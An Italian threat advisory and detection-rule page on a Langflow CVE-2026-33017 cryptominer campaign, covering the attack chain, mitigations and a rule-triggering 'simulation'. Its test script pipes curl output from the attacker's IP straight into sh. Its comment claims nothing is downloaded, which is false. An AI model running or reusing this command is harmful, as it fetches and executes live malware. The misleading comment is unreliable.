Campagna di Cryptominer CVE-2026-33017: Da Langflow a Monero
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una campagna di mining di criptovalute sta sfruttando una vulnerabilità di esecuzione di codice remoto non autenticata in Langflow per distribuire un miner personalizzato basato su Go. La catena d’attacco utilizza uno script bash per stabilire la persistenza e muoversi lateralmente attraverso chiavi SSH riutilizzate. Il malware disabilita anche le misure di sicurezza a livello host e termina i processi di mining concorrenti per massimizzare le risorse di sistema disponibili.
Indagine
I ricercatori hanno monitorato la campagna per un periodo di 19 giorni e hanno identificato un modello di sfruttamento consistente che coinvolge un flow_id codificato e stringhe user-agent rotanti. La loro indagine ha rivelato un’intrusione multi-stadio costruita attorno a un binario basato su Go chiamato lambsys.elf, che gestiva l’elusione della difesa, la rimozione dei log e la persistenza supportata da un watchdog. Basandosi sul comportamento di eliminazione dell’utente e sulle tecniche di movimento laterale, si ritiene che la catena di strumenti condivida la progenie con la famiglia KORKERDS o MALXMR.
Mitigazione
Le organizzazioni dovrebbero aggiornare Langflow alla versione 1.9.0 o più recente per rimediare al problema di esecuzione di codice remoto. È inoltre fortemente consigliato bloccare l’esposizione a internet pubblico delle istanze di Langflow ed evitare di eseguire il servizio con privilegi eccessivi. Controlli aggiuntivi dovrebbero garantire che i flussi pubblici non possano accettare input non autenticati in grado di innescare l’esecuzione di codice.
Risposta
Se questa attività viene rilevata, i team di sicurezza dovrebbero trattarla sia come un compromesso di cryptomining sia come un possibile incidente di esposizione delle chiavi SSH. I passaggi immediati dovrebbero includere la rotazione di tutte le chiavi SSH potenzialmente esposte e la revisione degli host collegati per segni di movimento laterale. I team dovrebbero anche controllare i log di sistema per la creazione o l’eliminazione non autorizzata di account e ispezionare i sistemi per eventuali cambiamenti di configurazione di sicurezza non approvati.
"flowchart TD step_reconnaissance["T1595.002 u2013 Scansione Attiva: Scansione delle Vulnerabilità: Rotazione User-Agent per identificare il target e sondare per la vulnerabilità auto_login"] step_exploitation["T1210 u2013 Sfruttamento dei Servizi Remoti: Sfruttamento di CVE-2026-33017 nell’API di Langflow tramite richiesta POST"] step_execution["T1059 u2013 Esecuzione: Python __import__('os').system primitive per innescare comandi shell"] step_ingress_transfer["T1105 u2013 Trasferimento Strumenti di Ingresso: Scaricamento di isp.sh dropper tramite curl o wget"] rules_for_ingress_transfer("<b>Nome Regola</b>: Caricamento/Download di File Remoti tramite Strumenti Standard (via cmdline)<br/><b>ID Regola</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Nome Regola</b>: Download di File Sospetti IP Diretto (via proxy)<br/><b>ID Regola</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 u2013 Persistenza: Job cron e script loop bash (init_rmount) per funzionalità watchdog"] step_credential_access["T1552.004 u2013 Accesso Credenziali: Enumerazione delle chiavi SSH private e interrogazione SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 u2013 Movimento Laterale: Meccanismo worm SSH che mira agli host raggiungibili in known_hosts"] step_defense_impairment["T1685 u2013 Indebolimento difensivo: Disabilitazione di ufw, iptables, AppArmor e SELinux"] step_indicator_removal["T1070 u2013 Rimozione Indicatore: Cancellazione di /var/log/syslog per ostacolare l’indagine"] step_command_and_control["T1102.003 u2013 Comando e Controllo: lambsys.elf invia heartbeat JSON tramite HTTP POST a 83.142.209.214"] step_resource_hijacking["T1496.001 u2013 Sequestro Risorse: Sequestro di Calcolo: Distribuzione di procq (XMRig) per il mining di Monero"] step_reconnaissance –>|porta_a| step_exploitation step_exploitation –>|abilita| step_execution step_execution –>|inizia| step_ingress_transfer step_ingress_transfer -.->|rilevato_da| rules_for_ingress_transfer step_ingress_transfer –>|porta_a| step_persistence step_persistence –>|poi| step_credential_access step_credential_access –>|abilita| step_lateral_movement step_lateral_movement –>|porta_a| step_defense_impairment step_defense_impairment –>|poi| step_indicator_removal step_indicator_removal –>|porta_a| step_command_and_control step_command_and_control –>|risulta_in| step_resource_hijacking "
Flusso di Attacco
Rilevamenti
Download di File Sospetto IP Diretto (via proxy)
Visualizza
Tentativo di Comunicazioni IP Lookup Possibili (via dns)
Visualizza
Modifica degli Attributi tramite Chattr – Linux (via cmdline)
Visualizza
Caricamento/Download di File Remoti tramite Strumenti Standard (via cmdline)
Visualizza
File Nascosto Creato su Host Linux (via file_event)
Visualizza
Tentativo di Sfruttamento di Esecuzione di Codice Remoto di Langflow [Server web]
Visualizza
Rilevamento dello Sfruttamento del Cryptominer CVE-2026-33017 in Langflow [Creazione Processo Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-flight di Telemetria e Baseline deve essere superato.
Razionalità: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrazione dell’Attacco & Comandi: L’attaccante identifica un’istanza di Langflow vulnerabile in esecuzione su un server Linux. Utilizzando la vulnerabilità CVE-2026-33017, l’attaccante inietta un payload Python dannoso in una richiesta. L’obiettivo è bypassare le difese perimetrali e distribuire un cryptominer Monero. Il payload utilizza il
os.systemdi Python per richiamare/bin/sh, che quindi scarica uno script shell (isp.sh) dall’infrastruttura dell’attaccante (83.142.209.214:8080) e lo inoltra direttamente in una shell per l’esecuzione immediata. -
Script di Test di Regressione:
#!/bin/bash # Simulazione dello sfruttamento di CVE-2026-33017 tramite iniezione Python # Questo script mima esattamente la linea di comando cercata dalla regola di rilevamento. echo "[+] Avvio Simulazione: Sfruttamento di CVE-2026-33017" # Usiamo python3 per eseguire la stringa specifica richiesta dalla logica della regola # Nota: Non stiamo effettivamente scaricando nulla; stiamo solo imitando la stringa di comando. python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')" echo "[+] Comando di Simulazione Eseguito." -
Comandi di Pulizia:
# Nessuna modifica permanente apportata dallo script di simulazione; # tuttavia, se fossero stati creati file fittizi, dovrebbero essere rimossi. echo "[+] Pulizia degli artefatti di simulazione..." # (Nessun artefatto creato in questa specifica simulazione da linea di comando)